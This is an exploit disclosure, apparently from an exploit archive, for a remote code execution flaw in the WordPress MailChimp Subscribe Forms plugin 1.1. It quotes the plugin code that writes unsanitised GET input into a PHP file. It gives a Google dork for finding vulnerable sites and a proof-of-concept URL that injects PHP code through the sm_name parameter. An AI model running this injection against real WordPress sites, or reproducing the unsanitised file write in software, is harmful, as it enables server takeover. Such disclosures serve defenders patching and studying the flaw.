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WordPress MailChimp Subscribe Forms 1.1 Remote Code Execution

WordPress MailChimp Subscribe Forms 1.1 Remote Code Execution
Posted Mar 23, 2016
Authored by CrashBandicot

WordPress MailChimp Subscribe Forms plugin version 1.1 suffers from a code execution vulnerability.

tags | exploit, code execution
SHA-256 | a62b01c936bc067331799d9144b2109ebfa8892e7e59e632b01f1f691ccb0d19

WordPress MailChimp Subscribe Forms 1.1 Remote Code Execution

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# Exploit Title: Wordpress Plugin MailChimp Subscribe Forms - Remote Code Execution
# Date: 23-03-2016
# Exploit Author: CrashBandicot
# Google Dork : inurl:/wp-content/plugins/mailchimp-subscribe-sm/
# Vendor Homepage: https://fr.wordpress.org/plugins/mailchimp-subscribe-sm/
# Tested on: MSWin32
# Version: 1.1

# Vulnerability in GET
# Put your mail for subscribe and send but add in URL the Parameter sm_name with PHP Code

# Vulnerable Files : mailchimp-subscribe-sm/inc/store-address.php

18. if(!preg_match("/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*$/i", $_GET['sm_email'])) {
...
23. $smf_data = '* Name : '.$_GET['sm_name'];
24. $smf_data .= ' Email : '.$_GET['sm_email'].' , '. PHP_EOL;
...
36. $file = "sm_subscribers_list.php";
...
39. $fp = fopen($file, "a");
40. fwrite($fp, $smf_data);
...
42. fclose($fp);

# PoC : localhost/subscribe/?sm_email=0day@0day.com&sm_name=<?php phpinfo(); ?>&submit=subscribe

# Result in file sm_subscribers_list.php

# PicS : http://i.imgur.com/HHtuycC.png
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